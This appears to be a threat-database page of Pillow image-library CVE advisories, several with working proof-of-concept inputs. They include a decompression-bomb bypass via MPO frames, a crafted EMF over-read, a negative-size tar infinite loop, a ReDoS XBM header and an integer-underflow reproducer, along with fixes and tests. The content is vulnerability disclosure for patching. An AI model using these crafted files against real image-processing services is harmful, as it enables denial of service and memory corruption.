Threat database
58 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.3 | EPSS 0.4% | Medium6.3EPSS 0.4%CVE Database V5CVE-2026-114501 A vulnerability in the python-pillow Pillow library versions 11.2.1 up to but not including 13.0.0 allows sensitive information disclosure. The issue arises from improper handling of image row alignment during Arrow export, causing uninitialized or stale memory to be included in the exported buffer. This can lead to leakage of pixel data or other process memory between users. The vulnerability is fixed in version 13.0.0. | CVE Database V5 | ||
| Critical | 9.8 | EPSS 0.6% | CVE-2026-96639Pillow · Out-of-bounds Read Critical9.8EPSS 0.6%CVE Database V5CVE-2026-96639 ### Summary Pillow multi-frame image loaders can retain native `ImagingCore` storage allocated for one frame while changing the Python-side image `mode` and decoder tiles for a later frame. If frame 0 allocates storage for a narrow mode such as `L`, and a later frame of the same dimensions switches to a wider mode such as `RGB` or `CMYK`, Pillow may decode wider pixels into the stale narrow native buffer. This causes native out-of-bounds writes and process crashes. In the MPO/JPEG path, I also demonstrated command execution in matching Python/Pillow runtime profiles through Pillow's documented `ImageSequence.Iterator` + `frame.load()` path. ### Details The root cause appears to be that `ImageFile.load_prepare()` only reallocates native storage when `_im is None`. It does not verify that the retained native `ImagingCore` storage still matches `self.mode` and `self.size`. Several multi-frame `seek()` / `_open()` paths can update `self._mode` and decoder tiles for a later frame without invalidating `_im`. The decoder then writes or reads according to the new frame mode while the native storage still belongs to the old frame mode. Verified affected surfaces: 1. **PSD** `PsdImageFile.seek()` can switch from grayscale/native `L` storage to RGB layer decoding while retaining `_im`. This produces attacker-controlled native out-of-bounds writes and reliable crashes. 2. **MPO/JPEG** A crafted two-frame MPO can make frame 0 allocate `L` storage, then make frame 1 decode `CMYK` / `RGB` data into the retained `L` storage. The documented `ImageSequence.Iterator` path reaches this with `frame.load()`. Verified native memory corruption, crash, over-read behavior, and scoped harmless-marker command execution on Pillow 12.3.0. 3. **DCX** `DcxImageFile.seek()` calls `PcxImageFile._open()`, which changes mode/tile state without a native-storage mode guard. A crafted DCX with `L` then `RGB` PCX frames produces retained-storage mismatch and crash. 4. **MIC** MIC can call `TiffImageFile._open()` directly and bypass TIFF's normal guarded `seek()` behavior. With a `NextIFD`-based reachable frame transition, this produces retained-storage mismatch and crash. TIFF appears to be a useful positive control because its `seek()` path checks both size and mode before reusing storage. ### Impact - process crash / denial of service, - native out-of-bounds write, - native over-read in the MPO path. Stronger proven impact: - command execution in matching Python/Pillow runtime profiles through the MPO/JPEG path. Server-side deployment impact: - Create a local vulnerable web upload service that accepts an unauthenticated MPO upload and automatically processes it with Pillow. - The attack is one HTTP request and requires no user interaction after upload. - The fixed harmless command-output marker succeeded 10/10 times. - The `_im=None` control was clean 10/10 times. ## Reproduction Evidence Tested version: ```text Pillow 12.3.0 ``` MPO terminal proof environments: ```text Python 3.12.3 + Pillow 12.3.0, clean PyPI environment: marker 10/10, control 0/10 Python 3.13.14 + Pillow 12.3.0, prepared profile: marker 10/10, control 0/10 ``` Server-side web-upload proof: ```text control 1..10: MARKER_MISSING control_summary ok 0 missing 10 /10 vulnerable 1..10: MARKER_OK marker_output <server-user> vulnerable_summary ok 10 missing 0 /10 ``` The terminal proof uses a fixed harmless marker command only. It does not use a reverse shell, persistence, data exfiltration, or arbitrary attacker-selected commands. I can provide the following private artifacts to maintainers: - minimal crash fixtures for PSD, MPO, DCX, and MIC, - non-weaponized MPO marker PoC, - local vulnerable web upload demo, - gdb/GEF geometry receipts, - control-run logs, - proposed regression-test shape. ## Minimal Reproduction Shape For the MPO path, the vulnerable consumer shape is: ```python from io import BytesIO from PIL import Image, ImageSequence source = BytesIO(open(path, "rb").read()) image = Image.open(source) iterator = ImageSequence.Iterator(image) next(iterator).load() next(iterator).load() ``` The crafted image shape is: ```text frame 0: mode L, dimensions W x H frame 1: same W x H, wider mode such as CMYK ``` Frame 0 allocates native `L` storage. Frame 1 changes the logical mode and decoder state but can reuse the old native storage. The frame 1 decoder writes using the wider mode into the narrow storage. ## Suggested Fix Direction Before reusing native `ImagingCore` storage, Pillow should verify that the retained storage is compatible with the current logical image mode and size. A central guard in `ImageFile.load_prepare()` could compare native storage mode/size against `self.mode` / `self.size` and allocate fresh storage when they differ. Alternatively, every mode-changing `seek()` / `_open()` path should explicitly invalidate `_im` before decoding. Caution: TIFF has specialized tile-size behavior and already has a mo | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.3% | CVE-2026-96636Pillow · Uncontrolled Resource Consumption Medium6.5EPSS 0.3%CVE Database V5CVE-2026-96636 ### Summary Pillow's decompression-bomb protection (`Image._decompression_bomb_check`, gated by `Image.MAX_IMAGE_PIXELS`) is enforced only on the **first frame**, inside `Image.open()`. For multi-frame formats, `seek()` re-parses the target frame's header and resets `self._size`. `GifImagePlugin` and `TiffImagePlugin` re-run the bomb check on `seek()`, but **`MpoImageFile.seek()` and `DcxImageFile.seek()` do not.** A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM). Same class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP). ### Details `Image.open()` → `_open_core()` runs `_decompression_bomb_check(im.size)` once, on the frame present at open time. Both vulnerable `seek()` methods re-parse a new frame and set a new `self._size` without re-checking: - **`PIL/MpoImagePlugin.py`, `MpoImageFile.seek()`**: calls `JpegImagePlugin.JpegImageFile._open(self)` (which sets `self._size` from the frame's JPEG SOF) and rebuilds `self.tile`, with no `Image._decompression_bomb_check(self.size)`. - **`PIL/DcxImagePlugin.py`, `DcxImageFile.seek()`**: calls `PcxImageFile._open(self)` (which sets `self._size` from the page's PCX header), with no check. Confirmed present in **12.3.0** (latest release) and on **`main`** (13.0.0.dev0). Compare `GifImagePlugin._seek` and `TiffImagePlugin`, which call `_decompression_bomb_check` correctly on seek. ### PoC Self-contained; the victim uses **default** `MAX_IMAGE_PIXELS`: ```python import io from PIL import Image # attacker builds the file (guard disabled only to CREATE the oversized frame) Image.MAX_IMAGE_PIXELS = None small = Image.new("RGB", (8, 8)) big = Image.new("RGB", (14000, 14000), (120, 60, 30)) # 196,000,000 px > error threshold buf = io.BytesIO() small.save(buf, format="MPO", save_all=True, append_images=[big]) data = buf.getvalue() # ~3 MB Image.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default # victim (default limits) im = Image.open(io.BytesIO(data)) # frame 0 (8x8) passes the bomb check im.seek(1) # frame 1 (14000x14000) -> NOT re-checked <-- bug im.load() # decodes the over-limit image, commits memory print("loaded over-limit frame:", im.size) ``` Measured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px): | Vector | File size | Frame 1 | Peak RSS | |---|---|---|---| | MPO (JPEG) | ~3.0 MB | 14000×14000 (196 Mpx) | ~763 MB | | DCX (PCX) | ~6.2 MB | 14000×14000 (196 Mpx) | ~200 MB | | Control: same image standalone | — | 196 Mpx | `DecompressionBombError` (correctly blocked) | The DCX vector (`0x3ADE68B1` magic + offset directory + two PCX pages) behaves identically via `DcxImageFile.seek()`. Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process. ### Impact Denial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. `seek()` + `load()` is the normal way to iterate frames (e.g. `PIL.ImageSequence.Iterator`, thumbnailers, converters, 3D-photo handlers). Because **MPO is auto-detected from a JPEG carrying MPF metadata**, a file served with a `.jpg` extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed. ### Suggested fix Re-run the check after `seek()` re-parses a frame, mirroring GIF/TIFF: ```python # PIL/MpoImagePlugin.py — end of MpoImageFile.seek() self.tile = [ImageFile._Tile("jpeg", (0, 0) + self.size, self.offset, self.tile[0][-1])] Image._decompression_bomb_check(self.size) # add self.__frame = frame # PIL/DcxImagePlugin.py — end of DcxImageFile.seek() PcxImageFile._open(self) Image._decompression_bomb_check(self.size) # add ``` | CVE Database V5 | ||
| High | 8.2 | EPSS 0.4% | CVE-2026-96640Pillow · Uncontrolled Resource Consumption High8.2EPSS 0.4%CVE Database V5CVE-2026-96640 ### Summary Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree. An attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format="PDF", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references. In the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds. This is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion. ### Details #### Affected versions - Package: `Pillow` - Ecosystem: `pip` / PyPI - Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling - Runtime-tested affected release: `12.3.0` - Runtime-tested affected development version: `13.0.0.dev0` - Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa` - Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054` - Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d` - Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81` - Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD` - Likely affected range: `>= 5.1.0` - Patched versions: none known Evidence fact strings: - Runtime-tested affected: 12.3.0 - Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Source-level affected: 5.1.0 - Source-level affected: 12.2.0 - Source-level affected: HEAD - Likely affected range: >= 5.1.0, no fixed version known - Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py `5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`. #### Technical details The reachable path is: 1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path: ```python Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True) ``` 2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`: ```python is_appending = im.encoderinfo.get("append", False) filename_str = filename.decode() if isinstance(filename, bytes) else filename if is_appending: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b") else: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b") ``` 3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree: ```python self.page_tree_root = self.read_indirect(self.pages_ref) self.pages = self.linearize_page_tree(self.page_tree_root) self.orig_pages = self.pages[:] ``` 4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references: ```python def linearize_page_tree( self, node: PdfDict | None = None ) -> list[IndirectReference]: page_node = node if node is not None else self.page_tree_root check_format_condition( page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages" ) pages = [] for kid in page_node[b"Kids"]: kid_object = self.read_indirect(kid) if kid_object[b"Type"] == b"Page": pages.append(kid) else: pages.extend(self.linearize_page_tree(node=kid_object)) return pages ``` 5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list. The missing invariant is: ```text The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages. ``` The proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represent | CVE Database V5 | ||
| High | 7.1 | EPSS 0.3% | CVE-2026-96637Pillow · Uncontrolled Resource Consumption High7.1EPSS 0.3%CVE Database V5CVE-2026-96637 Pillow is a Python imaging library. Prior to 13.0.0, SpiderImageFile.seek() in src/PIL/SpiderImagePlugin.py reparses a later SPIDER stack frame and replaces self._size without rerunning Image._decompression_bomb_check(). A tiny file can use a safe first frame to pass Image.open() and then declare very large dimensions in a later mode F frame. Loading that frame allocates approximately four bytes per attacker-declared pixel and can consume multiple gigabytes of memory. This issue is fixed in version 13.0.0. | CVE Database V5 | ||
| High | 7.7 | EPSS 0.4% | CVE-2026-96778Pillow · Out-of-bounds Write High7.7EPSS 0.4%CVE Database V5CVE-2026-96778 A high-severity out-of-bounds write vulnerability exists in the Pillow Python imaging library versions 9.4.0 through 12.x. The flaw occurs in the JPEG encoding function when handling ICC profiles that exactly fill the 65536-byte encoder buffer, allowing an attacker-controlled comment and image data to overwrite adjacent heap memory. This can cause crashes and potentially enable code execution. The issue is fixed in version 13.0.0. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.3% | CVE-2026-96643Pillow · Inefficient Algorithmic Complexity High7.1EPSS 0.3%CVE Database V5CVE-2026-96643 Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.3% | CVE-2026-96644Pillow · Out-of-bounds Read High7.1EPSS 0.3%CVE Database V5CVE-2026-96644 ### Summary On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read. ### Details The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check: - `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`. In the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints: - `src/display.c:793-794` assign the 16-bit fields - `src/display.c:800` sizes the allocation from them - `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values The whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`). ### PoC ```python import struct from PIL import Image def L(v): return struct.pack("<i", v) # Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the # decompression-bomb check, but the width truncates to 16 bits for the allocation while # the copy uses 70000. emf = b"\x01\x00\x00\x00" + L(88) # record type + size emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1 emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc) emf += b" EMF" # signature at offset 40 emf += bytes(44) open("poc.emf", "wb").write(emf) im = Image.open("poc.emf") print("size:", im.size, "pixels:", im.size[0] * im.size[1]) im.load() # over-read happens here on a Windows build ``` On Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead). ### Impact CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.3% | CVE-2026-96641Pillow · Integer Overflow or Wraparound Medium6.5EPSS 0.3%CVE Database V5CVE-2026-96641 ### Summary Affected Object and Source Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/_imaging.c:2809:15, xsize += dx ### Details The code in Pillow 12.3.0 is: ```c for (xsize = 0; *text; text++) { int dx = self->glyphs[*text].dx; if (dx > 0 && xsize > INT_MAX - dx) { PyErr_SetString(PyExc_OverflowError, "Width too large"); return -1; } xsize += dx; } ``` The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for `dx` is `[-32768, 32767]`. The existing check only proves: `dx > 0 => xsize <= INT_MAX - dx` It does **not** prove the other half of the contract: `dx < 0 => xsize >= INT_MIN - dx` Taking `dx = -32768` and repeating it 65,537 times, the mathematical sum is `-2,147,516,416`, which is less than `INT_MIN = -2,147,483,648`. On the 65,537th addition, the operation `-2147483648 + -32768` is performed, resulting in **C signed overflow undefined behavior**. ### PoC ```python """Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow. Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with the PyC-Contract UBSan build to obtain the exact native diagnostic. """ from __future__ import annotations import struct from io import BytesIO import PIL from PIL import Image, ImageFont ADVANCE = -(2**15) CONTROL_REPEAT = 65_536 WITNESS_REPEAT = 65_537 def bitmap_font(advance: int) -> ImageFont.ImageFont: metrics = bytearray(256 * 20) glyph_offset = ord("A") * 20 metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance) font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics) font = ImageFont.ImageFont() font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1))) return font def main() -> None: font = bitmap_font(ADVANCE) print(f"Pillow={PIL.__version__}") print(f"control_math={ADVANCE * CONTROL_REPEAT}") print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}") print(f"witness_math={ADVANCE * WITNESS_REPEAT}") print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}") if __name__ == "__main__": main() ``` Observations from a regular 12.3.0 release build: ```text Pillow=12.3.0 control_math=-2147483648 control_return=0 witness_math=-2147516416 witness_return=2147450880 ``` The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly `INT_MIN`, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to `2,147,450,880`. ### Impact The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors. Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability. ### Recommended Patch and Regression Tests It is recommended to extend the overflow check to cover both directions: ```c if ((dx > 0 && xsize > INT_MAX - dx) || (dx < 0 && xsize < INT_MIN - dx)) { PyErr_SetString(PyExc_OverflowError, "Width too large"); return -1; } ``` At a minimum, four test cases should be added: 1. `dx = 32767, repeat = 65538` — upper adjacent control (should succeed); 2. `dx = 32767, repeat = 65539` — should raise `OverflowError`; 3. `dx = -32768, repeat = 65536` — lower adjacent control (should succeed); 4. `dx = -32768, repeat = 65537` — should raise `OverflowError`. Additionally, it should be verified that exception propagation is consistent across `getlength()`, `getbbox()`, `getmask()`, and the underlying `font.getsize()`. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.3% | CVE-2026-96642Pillow · Infinite Loop High7.1EPSS 0.3%CVE Database V5CVE-2026-96642 ### Summary `TarIO.__init__` does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns. ### Details `TarIO.__init__` reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header: ```python size = int(s[124:135], 8) ... self.fh.seek((size + 511) & (~511), io.SEEK_CUR) ``` There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started. The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own. ### Steps to reproduce This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header. ```python from PIL import TarIO with open("Tests/images/hopper.tar", "rb") as f: data = bytearray(f.read()) # Set the size field (bytes 124 to 135) to a negative octal value. # Octal 1000 is 512, so this is size = -512. data[124:135] = b" -00001000" with open("poisoned.tar", "wb") as f: f.write(data) # "does-not-exist" does not match the header name, so TarIO must # keep scanning. This call never returns. TarIO.TarIO("poisoned.tar", "does-not-exist") ``` We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside. A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout. ```python from __future__ import annotations from pathlib import Path import pytest from PIL import TarIO SOURCE_TAR = "Tests/images/hopper.tar" @pytest.mark.timeout(3) def test_negative_size_field_does_not_hang(tmp_path: Path) -> None: with open(SOURCE_TAR, "rb") as f: data = bytearray(f.read()) data[124:135] = b" -00001000" # octal 1000 = decimal 512, negated poisoned_tar = tmp_path / "poisoned.tar" poisoned_tar.write_bytes(data) with pytest.raises((OSError, ValueError)): with TarIO.TarIO(str(poisoned_tar), "does-not-exist"): pass ``` ### Impact - Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes. - Confidentiality: none. - Integrity: none. - TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.3% | CVE-2026-96638Pillow · Uncontrolled Resource Consumption Medium6.5EPSS 0.3%CVE Database V5CVE-2026-96638 ## Summary BmpRleDecoder can be forced to allocate gigabytes of memory from a kilobyte-sized crafted BMP file via unbounded growth in the delta escape and absolute mode branches. ## Affected versions All versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84) ## Root cause BmpRleDecoder.decode() (BmpImagePlugin.py:327-395) builds a Python bytearray `data` with dest_length = xsize*ysize, looping `while len(data) < dest_length`. The loop condition is only checked at the TOP; individual branches append attacker-controlled amounts UNBOUNDED by dest_length: - delta escape (line 370): data += b"\x00" * (right + up * self.state.xsize) with right,up in 0..255 -> up to ~255*xsize bytes in ONE iteration. - absolute mode (line 385): data += bytes_read (up to 255). Because a single delta can push len(data) to ~256 * (row size), a tiny RLE stream combined with a large-but-legal xsize (xsize*ysize just under MAX_IMAGE_PIXELS, ~89M) yields a multi-GB `data` bytearray (then copied again by bytes(data) and set_as_raw). No heap OOB (bytearray/set_as_raw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny. ## Reproduction Python 3.13, Pillow HEAD e7a7ea84 Attached: pillow_poc_bmp_rle_dos.py A 1084-byte BMP (BI_RLE8, width=3,000,000, height=1 -> 3M px, passes bomb check) with one delta escape (00 02 00 150) produces ~429 MB `data`; measured peak RSS 911 MB. Scaling width toward the bomb limit and up=255 produces tens of GB from a ~1 KB file. ## Suggested fix Cap growth at dest_length in the delta and absolute branches, e.g. clamp the delta fill to (dest_length - len(data)) and stop appending once len(data) >= dest_length; reject deltas that would move the cursor beyond the image, matching the existing per-row clamp at line 341-343. Credit: Yazan Balawneh - CyStack Security Team (GitHub: sonicnew) [pillow_poc_bmp_rle_dos.py](https://github.com/user-attachments/files/30244974/pillow_poc_bmp_rle_dos.py) | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.3% | CVE-2026-112901Pillow · Inefficient Regular Expression Complexity Medium6.9EPSS 0.3%CVE Database V5CVE-2026-112901 ``` ============================================================================ ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes Location: src/PIL/XbmImagePlugin.py:58 in XbmImageFile._open() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A crafted 512-byte file makes Pillow's `Image.open()` spend about six minutes of processor time on one core before it gives up with `UnidentifiedImageError`. Anyone who can hand bytes to an application that opens images with Pillow's default settings can trigger this, for example through an upload form, a thumbnailer, or a service that checks whether a blob is an image. A few such files sent at once can tie up a typical pool of worker processes. The cause is the `xbm_head` regular expression in `src/PIL/XbmImagePlugin.py:32-40`, which `XbmImageFile._open()` (line 58) runs over the first 512 bytes of any stream whose prefix starts with `#define`. Several adjacent parts of the pattern can match the same characters. `[ \t]+` overlaps with `.*` in the width and height lines and with `[^_]*` in the optional hotspot lines, and `[\r\n]+` closing the hotspot group overlaps with the following `[\000-\377]*`. The header sets a run of k spaces after each `#define` and a run of k line terminators after `_y_hot`, then omits the `[]` after `_bits`. That forces Python's backtracking matcher to try every way of splitting those runs and rescan the remaining bytes each time. The cost grows roughly as k to the fifth power: k = 60 measured 375 s, while a well-formed XBM of the same size opens in about 40 ms. Because this happens before any format is identified, none of Pillow's size, pixel-count or decompression-bomb limits apply, and upload size limits do not help because the file is tiny. `ImageFile.Parser.feed()` repeats the cost on every chunk until the stream is identified. The only existing mitigation is passing a `formats=` allowlist that excludes `"XBM"`. The attached reproducer opens the same header with and without the trailing `[]`. The valid version opens as XBM in 52 ms. The broken version takes 0.1 s, 0.75 s, 3.0 s and 8.6 s at k = 10, 15, 20 and 25, and the slow k = 60 case is not run. This is the same class of bug as CVE-2021-25292 in `PdfParser`, but in a different plugin and reachable from plain `Image.open()`. ## Details `XbmImageFile._open()` identifies an XBM file by running the module-level regex `xbm_head` over the first 512 bytes of the stream. The pattern has several adjacent quantifier pairs that can consume the same characters, followed by a `[\000-\377]*_bits\[]` tail that rescans the rest of the buffer for every way of splitting them. A 512-byte input built to exercise all of them and then fail the final literal keeps `Image.open()` in `xbm_head.match()` for minutes before it raises `UnidentifiedImageError`. This 512-byte input (k = 60) takes 375 s of CPU in `Image.open(io.BytesIO(data))` with default settings, measured on the stock build at this commit: ```python k = 60 data = b"#define" + b" "*k + b"_width 1\r" data += b"#define" + b" "*k + b"_height 1\r" data += b"#define" + b" "*k + b"_x_hot 1\r" data += b"#define" + b" "*k + b"_y_hot 1" + b"\r"*k data += b"_bits" # no "[]": the final literal never matches data += b"A" * (512 - len(data)) # pad to the 512 bytes _open() reads ``` Calling `XbmImagePlugin.xbm_head.match(data)` directly gives the same picture: k = 10 → 0.11 s, k = 15 → 0.76 s, k = 20 → 3.0 s, k = 25 → 8.5 s, k = 30 → 19.9 s (roughly ×27 per doubling of k, i.e. about k^4.7). A well-formed 512-byte XBM matches in 10 µs and opens and loads through `Image.open()` in ~40 ms including plugin import; the same k = 60 header with `_bits[]` present matches in 5 µs. The regex, `src/PIL/XbmImagePlugin.py:32`: ```python xbm_head = re.compile( rb"\s*#define[ \t]+.*_width[ \t]+(?P<width>[0-9]+)[\r\n]+" b"#define[ \t]+.*_height[ \t]+(?P<height>[0-9]+)[\r\n]+" b"(?P<hotspot>" b"#define[ \t]+[^_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+" b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+" b")?" rb"[\000-\377]*_bits\[]" ) ``` and the only call site, `src/PIL/XbmImagePlugin.py:58`: ```python def _open(self) -> None: … m = xbm_head.match(self.fp.read(512)) if not m: msg = "not a XBM file" raise SyntaxError(msg) ``` For a well-formed header (`#define im_width 8\n…static char im_bits[] = {`) each `[ \t]+` eats the single space, `.*`/`[^_]*` eat the identifier prefix, and `[\000-\377]*_bits\[]` finds the literal on its first backward scan, so the match is linear. The crafted header diverges at every one of those points: - `[ \t]+.*_width` and `[ \t]+.*_height`: the run of k spaces after `#define` can be split between `[ \t]+` and `.*` in k ways, all leading to the same continuation. Factor k each. (The choice of `\r` terminators is incidental: t | CVE Database V5 | ||
| Critical | 9.2 | EPSS 0.4% | CVE-2026-112900Pillow · Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in… Critical9.2EPSS 0.4%CVE Database V5CVE-2026-112900 ### Summary `PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f <infile>`. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled). ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ #### Type CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file) #### Vulnerable Codes ```python infile_temp = None if hasattr(fp, "name") and os.path.exists(fp.name): infile = fp.name # user-controlled path used as-is, without validation else: in_fd, infile_temp = tempfile.mkstemp() os.close(in_fd) infile = infile_temp # ... (copy fp into a temporary file) # Build Ghostscript command command = [ gs_binary, "-q", f"-g{width:d}x{height:d}", f"-r{res_x:f}x{res_y:f}", "-dBATCH", "-dNOPAUSE", "-dSAFER", # default sandbox — does NOT stop this injection f"-sDEVICE={device}", f"-sOutputFile={outfile}", "-c", f"{-bbox[0]} {-bbox[1]} translate", "-f", infile, # injected here: inserted into argv with no check for # option prefixes (-, --) or Ghostscript's @-file token # => argument injection (CWE-88) "-c", "showpage", ] # ... subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript ``` #### Root cause. When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a 